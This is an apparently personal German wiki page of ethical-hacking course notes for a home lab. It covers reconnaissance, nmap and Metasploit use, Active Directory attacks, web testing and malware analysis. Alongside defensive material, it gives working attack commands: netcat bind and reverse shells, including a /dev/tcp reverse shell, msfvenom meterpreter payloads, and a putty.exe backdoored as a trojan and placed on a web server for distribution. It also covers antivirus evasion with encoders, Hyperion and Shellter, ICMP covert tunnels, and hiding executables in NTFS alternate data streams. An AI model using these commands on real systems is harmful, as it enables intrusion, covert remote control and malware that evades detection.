Dies ist eine alte Version des Dokuments!
Ethical Hacking, der Komplettkurs
Rechtlicher Hinweis: Alle hier beschriebenen Tools und Techniken dürfen ausschließlich in eigenen Laborumgebungen oder mit schriftlicher, eindeutig abgegrenzter Freigabe (Scope-Dokument, Auftrag) eingesetzt werden. Unbefugtes Eindringen in fremde Systeme, das Abfangen von Daten sowie bereits die Vorbereitung entsprechender Taten sind in Deutschland nach §§ 202a–202c StGB strafbar. Vor jedem Pentest gehören Scope, Zeitraum, Ansprechpartner und Haftungsfragen schriftlich fixiert. Diese Seite dient ausschließlich der eigenen Weiterbildung im isolierten Lab.
Labor
Es werden folgende Instanzen auf dem ESXi benötigt:
- Kali → Dies wird das Arbeits-System
- Metasploitable 2 → Ein unsicheres System zum Scannen (nicht im Internet sichtbar!)
- Win7 → System um Windows-Hacks zu testen (idealerweise ohne Updates)
- Win10 → um die Unterschiede zu Win7 zu zeigen
- Windows AD-Server für die AD- und LDAP-Hacks
- Tails als Live-CD → Livesystem um unerkannt im Internet Daten zu sammeln
- Aktueller Ubuntu Server → DAU-Server um Dienste scannen zu können
Um sowohl 32-Bit- als auch 64-Bit-Systeme angreifen zu können, muss auf Kali die 32-Bit-Wine-Umgebung nachinstalliert werden:
dpkg --add-architecture i386 && apt update && apt install wine32
Anmerkung: Ich verwende statt Kali lieber Parrot OS.
Exkurs VNC
- Installation:
apt install tightvncserver - Konfiguration:
nano ~/.vnc/xstartup
#!/bin/sh unset DBUS_SESSION_BUS_ADDRESS [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources xsetroot -solid grey vncconfig -iconic & x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" & x-window-manager & mate-session &
- Ausführbar machen:
sudo chmod +x ~/.vnc/xstartup
- Erster Start:
vncserver
- Auf dem Client:
vncviewer 192.168.178.21:1
Grundlagen
| Begriffe | |
|---|---|
| Exploit | Systematische Möglichkeit, Schwachstellen auszunutzen |
| Zero Day Attack | Angriff, der eine Schwachstelle ausnutzt, für die es noch keinen Patch gibt |
| Vulnerability | Schwachstelle im Design oder in der Implementierung |
| Payload | Der Teil des Exploits, der die eigentliche Aktion ausführt |
| Hack Value | Die „Belohnung“ des Hackers → Schwere des Angriffs/Schadens |
| Bot | Ein Bot ist ein Stück Software, das automatisiert Aufgaben ausführt |
| Daisy Chaining | Die Möglichkeit, ein infiziertes System als Sprungbrett zu verwenden |
| Doxing | Veröffentlichen kompromittierender Daten → Cybermobbing |
| Schutzziele | |
|---|---|
| Vertraulichkeit | Daten dürfen nur von autorisierten Personen genutzt werden |
| Integrität | Daten dürfen nicht unbemerkt verändert werden |
| Verfügbarkeit | Zugriff auf Daten muss im vereinbarten Zeitraum möglich sein |
| Authentizität | Bestätigung der Echtheit und Vertrauenswürdigkeit von Daten |
| Verbindlichkeit | Stellt die Nicht-Abstreitbarkeit von Handlungen sicher |
| Zurechenbarkeit | Handlungen können immer einem Benutzer zugeordnet werden |
Bedrohungen im Überblick
The Onion-Web
- | Installieren
apt-get install torbrowser-launcher
- | Ausführen
torbrowser-launcher
<sup> Siehe: https://computingforgeeks.com/installing-tor-browser-on-linux-mint-ubuntu/ </sup>
Seiten im Darknet finden
Webseiten aus dem Darknet enden oft mit *.onion. Diese Seiten findet man als Liste unter (Stand prüfen – .onion-Adressen ändern sich häufig und werden gelegentlich von Betrügern übernommen, daher Links vor Nutzung verifizieren):
Hidden Surfing
Vulnerability Management (VM)
Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig:
Vorbereitungen
- Rollen und Verantwortungen der Mitarbeiter festlegen
- Was soll geprüft werden (Systeme, Dienste, Netzwerk)
- Welche Tools sollen verwendet werden
- Erstellen von SLAs und Policies
Nachdem also festgelegt wurde, wer was und womit getestet werden soll, kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert (siehe Hinweis am Seitenanfang).
Assess (Beurteilung)
In diesem Schritt werden die Scans durchgeführt, bewertet und ein Report erstellt.
Priorize (Priorisieren)
Die im Report dokumentierten Schwachstellen werden bewertet:
- Höhe des Risikos
- Aufwand und Kosten der Behebung
- Mögliche Folgen der Behebung
Act (Ausführen)
Je nach Priorität werden die gefundenen Schwachstellen behandelt:
- Hohes Risiko → Fehler schnell beheben
- Geringes Risiko → Können wir mit der Bedrohung leben?
- Hoher Aufwand → Können wir die Mittel zur Fehlerbehebung beschaffen?
- Geringer Aufwand → Direkt umsetzen
Beispiel: Reporting-Vorlage
Ein minimaler Pentest-Report sollte mindestens enthalten:
- Executive Summary (1 Seite, für Management, ohne Technikjargon)
- Scope & Methodik (getestete Systeme, Zeitraum, verwendete Tools, Ausschlüsse)
- Findings-Tabelle: ID, Titel, betroffenes System, CVSS-Score, Risiko (kritisch/hoch/mittel/niedrig), Beschreibung, Proof of Concept, Empfehlung
- Priorisierte Maßnahmenliste nach Aufwand/Risiko-Matrix
- Anhang mit Rohdaten (Scan-Ausgaben, Screenshots)
Bewährte Kategorisierung nach CVSS: 9.0–10.0 kritisch, 7.0–8.9 hoch, 4.0–6.9 mittel, 0.1–3.9 niedrig.
Informationsbeschaffung
| URL | Name | Funktion / Inhalt | |
|---|---|---|---|
| https://searchdns.netcraft.com/ | Netcraft | Search Web by Domain | |
| https://www.whatsmydns.net/ | WhatsMyDNS | Prüft die Domainverfügbarkeit weltweit | |
| https://dnsdumpster.com/ | DNS Dumpster | DNS Enumeration | |
| http://web.archive.org/ | WebArchive | Internet-Archiv (Wayback Machine) | |
| https://www.shodan.io/ https://beta.shodan.io/search/examples | Shodan Filter | Web-Browser mit zusätzlichen Filterfunktionen Beispiele | zusatzmaterial_07-59_shodan.pdf |
| https://webmii.com/ http://www.yasni.de/ https://www.identcheck.net/ | webmii Yasni Argus | Personensuchdienste | |
| https://www.blogmojo.de/google-suchoperatoren/ | Blogmojo | Liste der Google-Suchoperatoren (Google Hacking) | |
| https://www.exploit-db.com/google-hacking-database | GHDB | Google Dork Database | |
| https://www.nmmapper.com/ | Nmapper | Kostenpflichtige Toolsammlung | |
| https://viewdns.info/ | ViewDNS | Kostenfreie Toolsammlung |
Scanning
Methoden:
Host-Discovery → Portscan → Dienst- und OS-Erkennung → Vulnerability-Scan
- Umgehen von Firewalls
- Banner Grabbing
- Einsatz von Proxies und Anonymisierern
Das OSI-Modell
Enumeration
nmap (Grundlagen)
| Name | Scan | Beschreibung |
|---|---|---|
| Standard Subnet-Scan (Ping) | nmap -sn 192.168.178.0/24 | Ping-Scan ohne Portscan |
| List Scan | nmap -sL 192.168.178.0/24 | Listet nur Hosts per DNS auf, es werden keinerlei Pakete verschickt |
| Standard Portscan (TCP SYN) | nmap -sS <Ziel-IP> | Stealth-Scan (halboffen) |
| UDP-Scan | nmap -sU -p 53,69,111 <Ziel-IP> –reason | UDP-Scan mit Angabe des Reason-Felds |
| Ack Scan | nmap -sA <Ziel-IP> | Prüft, ob eine Firewall filtert |
| Idle/Zombie-Scan | nmap -Pn -sI <Zombie-IP> <Ziel-IP> -d | Portscan über einen Zombie-Jumphost, tarnt die eigene IP |
| Diensterkennung | nmap <Ziel-IP> -sV | Erkennt meist auch die Version |
| OS-Erkennung | nmap <Ziel-IP> -O | |
| Decoy Scan | nmap -D <Fake-IP1>,<Fake-IP2>,…,ME,<Own-IP> <Ziel-IP> | Decoy = Fake-Absender (idealerweise 6+ Decoys) |
| Source-Spoofing | nmap -S <Fake-IP> -e <interface> -Pn <Ziel-IP> | Großes -S für Spoofing der Quell-IP; Antworten kommen nicht bei einem selbst an |
| Textausgabe | nmap -oG <Name.txt> <Ziel-IP> | Grepable Ausgabe in Datei |
| XML-Ausgabe | nmap -oX <Name.xml> <Ziel-IP> –webxml | Im Webbrowser darstellbar |
| Best Practice | nmap -A -T4 -F -v <Ziel-IP> | Aggressiv, Timing 4, schnell, verbose |
Nmap-Scripte
Pfad: /usr/share/nmap/scripts
| Aktion | Befehl | Anmerkung |
|---|---|---|
| Einzelne *.nse ausführen | nmap –script <script1>,<script2> <Ziel-IP> | |
| Alle Scripte | nmap –script /usr/share/nmap/scripts <Ziel-IP> | Dauert sehr lange (ggf. -T insane) |
Metasploit (msf)
Einrichten
systemctl start postgresql # Datenbank starten systemctl enable postgresql # Autostart der DB msfdb init # Initiierung msfconsole # msf-Konsole starten db_status # DB abfragen workspace -a Lab # Workspace anlegen workspace # Workspaces listen workspace -h # Zeigt die Hilfe für workspace
Backup
db_export -f xml /root/msfdb_backup # erstellt ein DB-Backup
Kommandos
msfconsole # startet msf workspace Lab # In Workspace wechseln show # Listet alle Module show auxiliary # Zeigt Module einer Kategorie search scanner # Sucht alle Scanning-Module
Ein Modul verwenden (hier: ssh_version):
use auxiliary/scanner/ssh/ssh_version # Modul zur Verwendung laden (info/options) set rhosts <Ziel-IP> # Ziel setzen run # Start hosts # Zeigt gefundene Hosts in der DB services # Zeigt gefundene Dienste in der DB
nmap aus msf heraus verwenden:
db_nmap -T4 -A -v 192.168.178.0/24 # Verwendet einen nmap-Scan und speichert das Ergebnis in der msf-DB db_nmap -sU -p161 192.168.178.0/24 --open # SNMP-Agent-Scan
Sploits suchen:
searchsploit Local Priv | wc -l # Zeigt Menge der gefundenen Treffer zu "Local Priv" Sploits searchsploit Local Priv | grep -i ubuntu # Schränkt die Suche auf Treffer mit "ubuntu" ein
NetBIOS-Enumeration
nbtscan -r 192.168.178.0/24 enum4linux -v <Ziel-IP> nmap -p 139,445 --script "smb-enum*" <Ziel-IP>
SNMP-Enumeration
nmap-Scripte für einen SNMP-Scan:
ls /usr/share/nmap/scripts/ | grep snmp
nmap -sU -p 161 --script "snmp*" <Ziel-IP>
msf:
use auxiliary/scanner/snmp/snmp_enum options set rhosts <Ziel-IP>
onesixtyone:
vim community.list # Datei mit SNMP-Community-Strings erstellen for ip in $(seq 1 254); do echo 192.168.178.$ip; done > ip_address-list # IP-Liste erzeugen onesixtyone -c community.list -i ip_address-list -d
LDAP
Zusatzmaterial: Konfiguration eines AD-Controllers
nmap -O -sV -p 389,636 --open <Ziel-IP>
jxplorer:
apt install jxplorer # Installation auf Kali jxplorer # Startet das Tool
Active Directory – vertiefte Enumeration
Zusätzlich zur reinen LDAP-Abfrage lohnt sich der Einsatz spezialisierter AD-Tools, sobald ein Domain-Controller im Lab steht:
- BloodHound – visualisiert AD-Vertrauensbeziehungen und Angriffspfade (z. B. zum Domain Admin)
apt install bloodhound neo4j console # Graphdatenbank starten, danach im Browser unter 127.0.0.1:7474 einloggen bloodhound # Startet die GUI
Sammler-Tool auf dem Zielsystem bzw. remote per Python: SharpHound (Windows) oder BloodHound.py (Linux, benötigt gültige Domain-Credentials).
- CrackMapExec (bzw. NetExec als Nachfolger) – SMB/AD-Enumeration, Credential-Spraying, Ausführung von Kommandos über gültige Anmeldedaten
crackmapexec smb 192.168.178.0/24 -u user -p password crackmapexec smb <Ziel-IP> -u user -p password --shares
- Kerberoasting – Service-Ticket-Anfrage für Accounts mit SPN, Hash offline crackbar
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC-IP> -request hashcat -m 13100 hashes.txt rockyou.txt
- AS-REP Roasting – betrifft Accounts ohne Kerberos-Pre-Authentication
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC-IP>
Fazit: AD-Angriffe zielen selten auf einzelne Exploits, sondern auf die Verkettung kleiner Rechte-/Trust-Schwachstellen (Daisy Chaining, siehe Grundlagen-Tabelle) bis zum Domain Admin.
SMTP
E-Mail-Enumeration:
- Via Telnet Port 25 zum Mailserver verbinden
- RCPT TO = Recipient To
- VRFY = Verify
- EXPN = Expand
smtp-user-enum:
# Datei mailuser.txt erstellen -> pro Zeile eine Mailadresse smtp-user-enum -M VRFY -U mailuser.txt -t <Ziel-IP>
DNS
Unter msf:
db_nmap -sU -sS -p 53 <Ziel-Netz> --open
Zonentransfer:
dnsrecon -n <Ziel-IP> -d <domainname> # Liest Zonentransfer-Daten aus dnsrecon -n <Ziel-IP> -r 192.168.178.1-192.168.178.254 -d fritz.box # Liste aller bekannten Domain-Hosts
FTP
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set rhost <Ziel-IP> run
Vulnerability-Scanner
✔ Schneller, umfassender Test
✔ Ausgabe meist gut aufbereitet
✔ Kann ohne tiefes Fachwissen ausgeführt werden
✘ Ein sehr „lauter“ Scan, der schnell auffällt
✘ Durch die Voreinstellung in der Regel wenig konfigurierbar
✘ Netz und Dienste werden zum Teil hoch belastet → Gefahr von Ausfall
✘ Gefahr von Falschaussagen, die aufgrund der Automatisierung vorkommen können
nmap
nmap --script vuln <Ziel-IP>
GVM
Installation auf Ubuntu (https://www.xinux.net/index.php/GVM_Installation)
Installation auf Kali: https://www.linuxmaker.com/linux/kali-linux-openvas.html und https://www.agix.com.au/installing-openvas-on-kali-in-2020/
Installation auf Ubuntu Server: https://www.libellux.com/openvas/#configuration-files und https://pentestit.de/gvm-20-08-auf-ubuntu-server-20-04-installieren/
Anmerkung: GVM ist der Nachfolger von OpenVAS
apt install gvm gvm-setup gvm-check-setup # WARNING: Your password policy is empty. # SUGGEST: Edit the /etc/gvm/pwpolicy.conf file to set a password policy.
Passwort ändern:
gvmd --user=admin --new-password=<NeuesPasswort>
Post-Install:
vim /etc/default/greenbone-security-assistant # GSA_PORT=9392
Start / Stop:
gvm-start gvm-stop
Der Dienst ist unter https://127.0.0.1:9392 erreichbar. Login mit erstelltem User.
Firefox remote verwenden:
ssh -C -Y username@servername # Login mit PW firefox 127.0.0.1:9392
Firewall aktivieren:
apt-get install ufw ufw enable ufw allow 80 ufw allow 9392 ufw allow 22
Web-Anwendungs-Pentesting
Ein eigenständiges großes Themenfeld, das im Lab am besten gegen absichtlich verwundbare Web-Apps geübt wird (z. B. DVWA, OWASP Juice Shop, bWAPP).
Burp Suite
Proxy zwischen Browser und Webanwendung, um Requests abzufangen, zu manipulieren und erneut zu senden.
burpsuite &
Browser-Proxy auf 127.0.0.1:8080 stellen, Burp-CA-Zertifikat importieren, danach im Reiter „Proxy → Intercept“ den Traffic mitschneiden. „Repeater“ zum gezielten Wiederholen einzelner Requests, „Intruder“ für automatisiertes Fuzzing von Parametern.
OWASP Top 10 (Auswahl mit Praxisbezug)
| Schwachstelle | Kurzbeschreibung | Test-Ansatz |
|---|---|---|
| SQL-Injection | Eingaben werden ungeprüft in SQL-Queries übernommen | `sqlmap -u „http://<Ziel>/page?id=1“ –batch –dbs` |
| Cross-Site Scripting (XSS) | Eingaben werden ungeprüft im Browser anderer Nutzer ausgeführt | Testpayload `<script>alert(1)</script>` in Formularfelder/URL-Parameter |
| Broken Access Control | Fehlende Berechtigungsprüfung, z. B. IDOR | Manuelles Durchprobieren von Objekt-IDs in URLs/Requests |
| Security Misconfiguration | Standard-Logins, offene Admin-Panels, Debug-Modus aktiv | Verzeichnis-/Default-Login-Scans, z. B. mit `gobuster` |
gobuster dir -u http://<Ziel-IP> -w /usr/share/wordlists/dirb/common.txt
Fazit: Web-App-Pentesting erfordert im Gegensatz zu klassischem Netzwerk-Pentesting meist manuelle Analyse der Anwendungslogik – automatisierte Scanner (z. B. `nikto`, ZAP) liefern nur einen ersten Anhaltspunkt.
Phasen eines Systemangriffs
Zugang verschaffen
Default Logins mit msf scannen
use auxiliary/scanner/postgres/postgres_login set RHOSTS <Ziel-IP> run
postgres_login anpassen, wenn Passwörter bekannt sind:
show options # PASS_FILE -> Dateipfad merken und Datei mit bekannten Passwörtern ergänzen # Im Ordner der Datei liegen mehrere weitere Default-Passwort-Listen # USER_FILE -> Dateipfad merken und Datei mit bekannten Usern ergänzen
Mail-Hack mit medusa
How it works:
medusa -M smtp -q
Vorbereitung:
- Liste mit bekannten Mailadressen (txt, pro Zeile eine Mailadresse) → user.list
- Liste mit wahrscheinlichen Passwörtern (txt, pro Zeile ein Passwort) → pass.list
Starten:
medusa -h <smtp-Mailserver-FQDN> -U user.list -P pass.list -s -M smtp
Hydra
hydra -l Nutzer -P Passwortliste.txt ftp://192.168.0.1 xhydra # startet die GUI
Backdoor mit nc
nc als Server auf Kali starten
ncat -lp 4444 # Startet netcat als Server auf Port 4444
Unter Kali die Datei /usr/share/windows-binaries/nc.exe auf einen Windows-PC kopieren und in der cmd ausführen:
c:\nc>nc <SERVER-IP> 4444
Datei mit nc übertragen
c:\nc>nc -nlvp 4444 > wget.exe # startet nc als Server auf Port 4444, schreibt stdout in die Datei wget.exe nc <Server-IP> 4444 < /usr/share/windows-binaries/wget.exe # nc auf Kali starten und die Datei wget.exe übertragen
Bind-Shell mit nc
ncat -nlvp 4444 -e /bin/bash # startet nc und pipet /bin/bash darüber c:\nc>nc <Server-IP> 4444 # startet nc auf Windows und stellt so die Shell des Servers zur Verfügung c:\nc>nc -nlvp 4444 -e cmd.exe # startet nc auf Windows und pipet cmd.exe ncat <Server-IP> 4444 # startet nc auf Linux und stellt die cmd des Servers zur Verfügung
Reverse Shell mit nc
ncat -nlvp 443 # startet einen Listener auf dem Server ncat -nv <Server-IP> 443 -e /bin/bash # startet auf dem Client nc und tunnelt eine bash durch Port 443 zum Server bash -i >& /dev/tcp/<Server-IP>/443 0>&1 # startet eine Shell und tunnelt sie zur Server-IP Port 443
Privilegien-Eskalation
# msf starten und in den passenden Workspace wechseln # In den vulns nach distcc suchen (Befehl: vulns) # Nach passendem Exploit suchen (search distcc) use exploit/unix/misc/distcc_exec set RHOST <Client-IP> set PAYLOAD cmd/unix/reverse_bash exploit
Meterpreter für Windows
Erstellen des Trojaners, um auf einem Windows-Zielsystem eine Meterpreter-Shell zu starten, die sich zu unserem Server verbindet:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe # LHOST = IP des Kali-Angreifers # LPORT = Port der Kommunikation (muss an der FW offen sein) # -f = Art der Ergebnisdatei # -o = Name der Ergebnisdatei
Trojaner z. B. auf einem Webserver zur Verfügung stellen. Auf Kali eine msfconsole mit Multihandler starten:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_https # nutzt das HTTPS-Payload set lhost <eigene-IP> set lport 443 exploit
Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der Meterpreter-Shell wird eine neue Shell (von Windows) angezeigt.
Anmerkung: Einfacher geht es mit SET: Bypass Windows Defender and Fake Image for Reverse Shell
Das Gleiche für Linux
msfvenom --payload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=45678 --format py --bad-chars '\x00\x09\x20\x0a\xff' -o mp_shell.py
Externe Module nachladen: `load` (2x Tab)
Weitere Infos: https://null-byte.wonderhowto.com/how-to/simplify-payload-creation-with-msfpc-msfvenom-payload-creator-0180240/
Malware
Macro-Virus
Trojaner
1. Carrier-Applikation bereitstellen. Dies ist eine Applikation, in die der Trojaner eingebaut werden soll.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.178.124 LPORT=8080 -x /home/andre/putty.exe -k -f exe -o /var/www/html/putty2.exe
- -p definiert den Payload → eine TCP-Reverse-Shell auf Windows
- LHOST ist die vom Ziel erreichbare IP des Kali
- LPORT ist der zur Kommunikation eingesetzte Port
- -x welcher Carrier (32-Bit) bereitgestellt wird
- -k der Carrier soll auch ausgeführt werden (ohne -k wird nur der Trojaner aktiviert)
- -f die Output-Datei soll eine exe sein
- -o Ziel der Output-Datei (idealerweise gleich der Webserver, zur einfachen Verbreitung)
2. Meterpreter-Session auf Kali starten:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.178.124 set LPORT 8080 run
3. Trojaner auf Zielsystem bereitstellen und ausführen.
Wird putty auf Windows ausgeführt, startet zusätzlich eine reverse Shell. Diese beendet sich aber, wenn putty geschlossen wird. Daher muss die Shell an ein anderes Programm gehängt werden.
4. Von putty auf „explorer“ umhängen:
ps -S explorer # Die PID von explorer finden -> hier z.B. 336 migrate 336
Jetzt steht eine Shell zum Zielsystem zur Verfügung.
Payloads tarnen
Methoden der Tarnung:
- Encoder verändern den Binärcode
- Packer komprimieren, dekomprimieren sich bei Ausführung selbstständig
- Crypter verschlüsseln
- Embedder und Wrapper betten den Schadcode in ein harmloses Programm ein
- Customized Code ist selbst geschriebener Code, dessen Signatur noch nicht bekannt ist
Encoder
msfvenom -l encoders
Verwenden wir als Beispiel „Shikata Ga Nai“:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/shikata_ga_nai -i 130 -o /var/www/html/putty_shi.exe
- Bekannter Befehl, um in putty einen Trojaner zu betten
- -e Auswahl des Encoders
- -i Anzahl der Iterationen
Mehrere Encoder nacheinander verwenden:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -e x86/countdown -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 130 -o double-ent.exe
- Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach shikata_ga_nai mit 130 Iterationen
- Datei wird als double-ent.exe lokal gespeichert
Fazit: Encoder sind nicht sehr hilfreich, um an Virenscannern vorbeizukommen. Selbst der Einsatz mehrerer Encoder bringt kaum etwas.
Verschlüsseln mit Hyperion
Die 32-Bit-Umgebung von Wine muss installiert sein (siehe Vorbereitungen).
cd /usr/share/windows-resources/hyperion wine hyperion.exe /var/www/html/putty2.exe /var/www/html/putty-crypt.exe
Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt.
Shellter
apt install shellter # Geht nicht auf Kali, dafür auf Parrot schon installiert
- Operation-Mode: A
- PE Target: Pfad zur *.exe, die infiziert werden soll
Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann im Ordner /usr/share/windows-resources/shellter/ zur Verfügung. Unter /usr/share/windows-resources/shellter/Shellter_Backups findet man ein Backup der nicht infizierten Originaldatei.
Fazit: Weniger als die Hälfte der Virenscanner erkennt diese Datei als Virus.
Root Kits
- Kernel-Rootkits (LKM) laden sich als Modul in den Kernel nach und manipulieren Systemaufrufe
- Userland-Rootkits verwenden manipulierte DLLs, die über eine API eines Programms dessen Funktion ändern oder erweitern
ICMP-Tunneling / Covert Channel
Auf allen Clients:
apt install gcc git make cd /opt git clone https://github.com/DhavalKapil/icmptunnel make
Am Server (Kali):
cd /opt/icmptunnel ./icmptunnel -s 10.0.1.1 # Immer diese IP angeben, das ist die ICMP-Router-IP ifconfig # taucht ein tun0 auf, läuft der Server
Auf dem Ziel:
vim /opt/icmptunnel/client.sh # route add -host <server> gw <gateway> dev <interface> # Zeile auskommentieren ./icmptunnel -c <Kali-IP>
Ab jetzt wird die Kommunikation zwischen den Servern als ICMP-Pakete getarnt.
Alternate Data Streams (ADS)
Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken.
- Textdatei erstellen: harmlos.txt und speichern
- cmd starten und in das Verzeichnis der eben erstellten Datei wechseln
notepad harmlos.txt:geheim.txt
→ Die Datei geheim.txt wird erstellt und kann bearbeitet werden
Die neue Datei geheim.txt ist nirgendwo sichtbar. Auch der Inhalt von harmlos.txt hat sich nicht geändert. Mit dem Befehl
notepad harmlos.txt:geheim.txt
kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbarem Inhalt:
type c:\ordner\virus.exe > c:\ordner\harmlos.txt:virus.exe start harmlos.txt:virus.exe # führt virus.exe aus dir -r # zeigt Ordnerinhalt inklusive ADS (ab Win 7)
Keylogger und Spyware
Malware-Analyse
Statische Malware-Analyse (Code-Analyse)
Programm dekompilieren und Quellcode analysieren oder nach Ausdrücken im Code suchen, mit den Tools:
- strings (Windows für die CMD)
- pestudio (Windows mit GUI)
Dynamische Malware-Analyse (Laufzeitanalyse)
Verhalten eines Samples (Schadprogramm) in Echtzeit beobachten. Dies muss in einer Sandbox durchgeführt werden.
- JOESandbox
- AnyRun
Verdächtiges Verhalten analysieren
Auf Windows-Clients muss geprüft werden:
- Virencheck
- Offline via Rescue-Disk (z. B. Kaspersky Rescue Disk)
- Antivirus-Tools testen mit dem EICAR-String:
- X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
- oder mit auf der EICAR-Homepage vorgefertigten Dateien
- Prozessaktivitäten
- Taskmanager aufrufen und die Spalten Prozessname und Befehlszeile hinzufügen
- Der Process Explorer kann Prozesse mit VirusTotal prüfen
- Der Process Monitor gibt weitere Auskünfte über laufende Prozesse
- Netzwerkaktivitäten
- `netstat -nap tcp` für die CMD
- Als Admin eine CMD starten und `netstat -nabp tcp` → zeigt auch die zugehörigen Prozesse
- Unter Linux: `netstat -tlpn`
- Besser ein externes Tool wie Nirsoft CurrPorts
- DNS und die hosts-Datei checken, dazu eignet sich DNS Query Sniffer
- Windows Registry
- Der RegScanner ist eine bessere Alternative als regedit
- Regshot erstellt einen Snapshot der Registry, weitere Shots können danach mit der Referenz verglichen werden
- Autostart-Einträge
- Taskmanager
- Bessere Alternative: Autoruns zusammen mit Process Explorer
- Windows-Dienste
- services.msc
- Alternative: http://foxplanet.de/ → Service Manager
- Treiber
- msinfo32.exe
- Bessere Alternative: DriverView
- Integrität und Signaturen
- `sigverif` in einer CMD ausführen
- Einsatz von Sniffern
- Malwarebytes zeigt PUP und PUA an und kann diese reparieren (gibt es auch für Android)
- HijackThis überprüft, ob Betriebssystem-Einstellungen von Malware geändert wurden
Integrität mit Tripwire prüfen
apt install tripwire tripwire --init vim /etc/tripwire/twpol.txt # /var/run # /var/log # /root/.* (außer bashrc, bash_* und ICE*) # /proc twadmin -m P /etc/tripwire/twpol.txt tripwire --init tripwire --check
Entsprechend der Fehlermeldungen muss die twpol.txt angepasst werden. Danach ein kleines Script schreiben, um via Cronjob das Ergebnis zu mailen.
Sheep-Dip-Systeme
Ein System (idealerweise eine VM), das mit üblichen Monitoring- und Sicherheits-Tools ausgestattet ist. In dieser vom Firmennetz abgetrennten Stand-Alone-Maschine können Daten und Programme getestet werden, ohne dass Produktivsysteme beeinflusst werden können.
Siehe: http://sheepdip.sourceforge.net/
Sandboxen
Steganografie
Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https://www.spammimic.com/encode.shtml
Die technische Steganografie nutzt das Verstecken digitalen Inhalts in unauffälligen Medien wie z. B. Bildern oder Musikdateien.
Information in Bildern verstecken
Dazu verwendet man das letzte Bit der Farbinformation jedes Pixels. Dadurch verringert sich der Farbraum um ca. 10 %, was nicht auffällt. Dabei ergeben 3 RGB-Pixel ein 8-Bit-Zeichen. Siehe:
stegosuite -e -f <Geheime.Datei> -k <passwort> <Bild.jpg> # Der Payload darf je nach Bildgröße nicht zu groß gewählt werden stegosuite -x <Bild.jpg> -k <passwort> # Extrahiert die Datei
Hier gibt es weitere Infos: https://www.blackmoreops.com/2017/01/11/steganography-in-kali-linux-hiding-data-in-image/
Information in beliebigen Dateien verstecken
Links und Dokumente
| HaveIBeenPwned | Willst du wissen, ob dein Passwort einfach zu hacken ist, weil es schon auf Listen steht |
| BeEF in Kali | BeEF in Kali nutzen |
| VirusTotal NoDistribute | Testet Dateien, ob sie von Antivirus-Systemen als Virus erkannt werden |
| Install Metasploit | HowTo: Metasploit in Termux installieren |
| inxi -Fxzd | Befehl, um so ziemlich alles über ein Linux-System zu erfahren |
| Netzpolitik | Für alle, die keine Geduld haben… |
| Autopsy | Sleuth Kit Autopsy In-Depth-Tutorial |
| Nirsoft FoxPlanet | Windows-Toolsammlungen |
| Leitfaden IS-Pentest | Ein Praxis-Leitfaden für IS-Penetrationstests des BSI |
| Mine | Wo hast du deine Daten hinterlassen? |
| arpspoof | Man-in-the-Middle-Angriffe |




